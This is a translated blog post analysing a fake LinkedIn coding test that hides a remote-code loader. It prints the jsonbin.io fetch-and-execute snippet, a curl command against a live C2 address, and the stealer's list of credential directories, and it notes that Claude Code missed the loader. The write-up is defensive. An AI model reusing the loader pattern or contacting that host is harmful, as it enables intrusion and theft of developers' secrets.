如何在求职面试中入侵你的系统
摘要
文章警告了一种钓鱼诈骗,求职者在LinkedIn面试中收到虚假的编程挑战,旨在入侵其系统。文章分析了恶意代码并提出了避免此类攻击的预防措施。
暂无内容
查看缓存全文
缓存时间: 2026/08/20 16:17
# 如何通过一场面试让你的系统沦陷
来源:https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview
如何通过一场面试让你的系统沦陷
目录
- 如何开始 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#how-it-begins)
- 深入分析:第二阶段加载器 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#a-closer-look-second-stage-loader)
- 下次如何防范 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#some-precaution-for-next-time)
- 现在该怎么办 (https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#what-now)
当前IT就业市场形势严峻。因此,当LinkedIn上的招聘人员联系你,并基于你的过往经历推荐一个合适的职位时,你可能会感到幸运。但事情可能并非初看时那样。
“一个相关的机会”——提供兼职远程工作和可观的时薪,这无疑吸引了很多软件工程师与新的LinkedIn工作邀约展开对话。我的一位朋友就遇到了这种情况。这个职位与他的过往经验非常匹配,加上LinkedIn上几轮沟通后快速发出的编程测试,让整个面试过程显得很高效。
提示
最初的联系是冒用一家公司的名义进行的,而该公司对此毫不知情。这是一种纯粹的网络钓鱼,旨在窃取你的机密和凭证。该公司对此事很清楚,并已在LinkedIn上发布帖子 (https://www.linkedin.com/posts/bitwayofficial_important-security-notice-beware-of-bitway-activity-7494503301426597888-22kA)说明情况。
在你开始测试之前,你可能对以下几点有所怀疑:
- 联系你的人并非该公司在LinkedIn上的成员
- 在收到编程测试之前,没有进行第一次“互相了解”的电话沟通
- 测试使用的编程语言可能并非你所擅长的
- 代码托管在Bitbucket上,这在业内并不常见
- 发件人邮箱地址是`@gmail.com`,而非公司官方邮箱
事后诸葛亮,这里不做评判。
## 如何开始
https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#how-it-begins
任务是解决各种问题,并扩展现有TypeScript代码库中的逻辑。你收到的项目包含:
- 大约180个文件
- 混合了无效和有效代码
- 没有混淆或压缩
……但其中包含一些对外部`https://api.jsonbin.io`端点的调用。如果你没有仔细阅读这180个文件,你就上钩了。
以下是可疑的代码部分,它开始下载更多包以检查你的系统。
警告
这就是那个发送更多恶意负载的端点。小心!完整源代码可在该Bitbucket仓库 (https://bitbucket.org/bitway_network/coinvault/src/master/)找到。
```javascript
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
```
该应用程序的内部逻辑总是首先通过执行`npm run dev`、`npm start`等命令来运行此函数。由于它传入了`require`,因此它可以:
- `require('child_process')` 用于执行shell命令
- `require('fs')` 用于读取/遍历文件系统,写入持久化数据
- `require('net')` / `require('https')` 用于建立自己的数据外泄通道
- 直接读取`process.env`,在该应用中这意味着MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY
这些都是你绝对不希望在系统上发生的事情。
## 深入分析:第二阶段加载器
https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#a-closer-look-second-stage-loader
来自*jsonbin.io*端点的响应实际上是一个**远程代码执行加载器**。`record.model`负载是一个由24,686个字符组成的obfuscator.io (https://obfuscator.io/)混淆JavaScript代码,包裹在一个小型webpack打包文件外。
对返回的负载进行反混淆后,我们得到另一组混淆的JavaScript代码。这段代码从C2(命令与控制)服务器`http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5`拉取数据。
我能够使用以下命令获取下一段代码:
```bash
curl -sS -v --max-time 30 \
-H 'Authentication: jwt' \
-H 'Accept: application/json, text/plain, */*' \
-A 'axios/1.5.3' \
-D headers.txt \
-o body.bin \
'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'
```
它需要一个`Authentication`头,其中`jwt`作为令牌。此端点提供了更多混淆的JavaScript代码,特别是以下四个模块:
**`scdata`**:一个交互式RAT(远程访问木马),包含`node-pty`全功能shell、用于横向移动和窃取PEM密钥的`ssh2`、用于屏幕捕获的`screenshot-desktop` + sharp、`clipboardy`、以及用于模拟键盘和鼠标的`@nut-tree-fork/nut-js`。它还能识别虚拟机与物理机。
**`ldata`**:浏览器凭证和钱包窃取器。支持所有三大操作系统上的Chrome/Edge/Brave/LT,每个配置文件:登录数据、Web数据、本地扩展设置LevelDB存储,以及macOS的login.keychain。它可以针对28种钱包扩展程序,如MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby以及另外18种。它无限循环,大约每分钟重新上传一次数据。
**文件抓取器**:遍历用户主目录。它试图查找*私钥*、*助记词*、*\*metamask\**、*bitcoin*、*solana*、*\*.env*、*\*.pem*、*\*.p12*、*\*.pfx*,以及文档和图像,还有整个`.ssh`、`.aws`、`.gnupg`和`.docker`目录。此外,它还会枚举Windows上的所有驱动器盘符。
**剪贴板监控器**:监控你的剪贴板。它轮询剪贴板并发出信标,将自身隐藏在名为`npm-compiler.log`的日志名后面。
当受害者连接到`147.189.174.138:7321`时,服务器会在接受的套接字上看到源地址,就像任何Web服务器看到访问者的IP一样。无需发现,无需扫描,无需注册地址。这正是仅出站设计对攻击者如此便利的原因:它可以在NAT、CGNAT、企业代理或家庭路由器后面零配置工作,并且无论受害者IP如何变化都无关紧要。
你只想找一份工作,却打开了地狱之门。
**为什么它能访问你所有的文件?**
恶意软件获取当前用户的主目录,然后构建要查看的路径。
```python
rootDir = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
path.join(os.homedir(), ".ssh"),
path.join(os.homedir(), ".azure"),
path.join(os.homedir(), ".foundry"),
path.join(os.homedir(), ".config"),
//...
]
```
它从不请求提权。它不需要`root`权限、UAC或`sudo`,因为它想要的东西都不属于root所有。SSH密钥、AWS凭证、浏览器配置文件、钱包数据、.env文件——所有这些按设计都属于用户所有,因为你需要经常读取它们。在你的账户下运行的进程继承了该访问权限。Node在这里并没有做任何特殊的事情,因为在shell中运行`cat ~/.ssh/id_rsa`效果完全相同。
在Windows上,它甚至不止于主目录,还通过PowerShell枚举驱动器盘符,并在每个根目录上调用scanDir,因此映射的网络驱动器和次级磁盘也在其范围内。
## 下次如何防范
https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#some-precaution-for-next-time
以下几点可能有所帮助,尽管没有任何方法能提供100%的保护。你只是不会想到来自工作机会代码片段中的这种东西。
- **AI**:一种弱保护。让你选择的AI工具扫描项目中的任何异常——混淆的代码、压缩、对外部端点的调用、不寻常的代码模式等。这只是一个部分解决方案,因为它会告诉你对*jsonbin.io*的调用,但无法看到返回值是什么。
- **Docker**:一种部分较弱的保护。将内容放入Docker并在容器内执行代码可以隔离你的主机系统,并且不会暴露任何存储的机密——只要你没有将主机数据挂载到容器中。
- **Vagrant**:可能是你最好的选择。在完全隔离的系统中运行代码可能甚至是最佳选择。提前为你的虚拟机创建快照,之后再恢复。如果没有UI/桌面环境,泄露浏览器数据或截图的模块会自我限制。不过,RAT和文件抓取器仍然有效。
请注意,该**RAT会主动识别**虚拟机环境。它会运行`system_profiler`,读取`/proc/cpuinfo`,并搜索`vmware`、`qemu`、`microsoft corporation`,然后将信标标记为(VM)或(Local)。该标志很可能供操作员进行分类处理:虚拟机更可能是沙箱,并且不太可能存储真实钱包,因此可能会被降低优先级或被更谨慎地处理。
*关于AI部分的说明*:Claude Code在仅被提示扫描代码库以寻找异常模式时,未能检测到任何*奇怪*的东西。
## 现在该怎么办
https://www.codedge.de/posts/how-to-compromise-your-system-with-a-job-interview#what-now
当损害已经造成时,你或许应该:
- 吊销并轮换SSH密钥
- 更改密码
- 检查是否有任何明文机密或信息需要更改
……并重新安装你的操作系统——以防万一,安全总比后悔好。
与此同时,那个*“渔夫”*(假招聘者)的个人资料已被删除。
本文创建于2026年8月17日,并更新于2026年8月20日。
相似文章
LinkedIn职位邀请中的后门
一位安全研究员详细描述了如何通过伪装成真实开发者的虚假LinkedIn招聘人员发送一个GitHub仓库,该仓库包含一个后门,在执行npm install时触发,从而诱使目标运行恶意代码。
@GergelyOrosz: 两点提醒:1. 要知道,假面试诱导你安装恶意软件的行为正变得真…
警告:假面试被用于传播恶意软件,建议使用虚拟机等隔离环境以确保安全。
我检查了我的带回家面试项目。这整个就是个精心策划的操作
一位软件工程师收到了一个可疑的带回家面试项目,其中包含旨在执行恶意软件的恶意 Git 钩子,揭示了一场针对开发者的精心求职骗局。
@Diptish09: Sider AI刚刚揭露了大多数求职者已经怀疑的事情。一些LinkedIn上的职位可能从未真正招聘……
Sider AI的Sider Code工具在LinkedIn职位列表上进行了测试,通过分析高申请人数和重新发布信号等因素来揭露幽灵职位,直接在LinkedIn内提供实时评分和红旗分析。
诈骗的未来已经到来,只是分布不均——追求懒惰
本文描述了一种复杂的身份盗窃骗局,攻击者利用虚假的面试和SSO登录流程窃取凭证并清空账户,提醒技术专业人士注意新型钓鱼手法。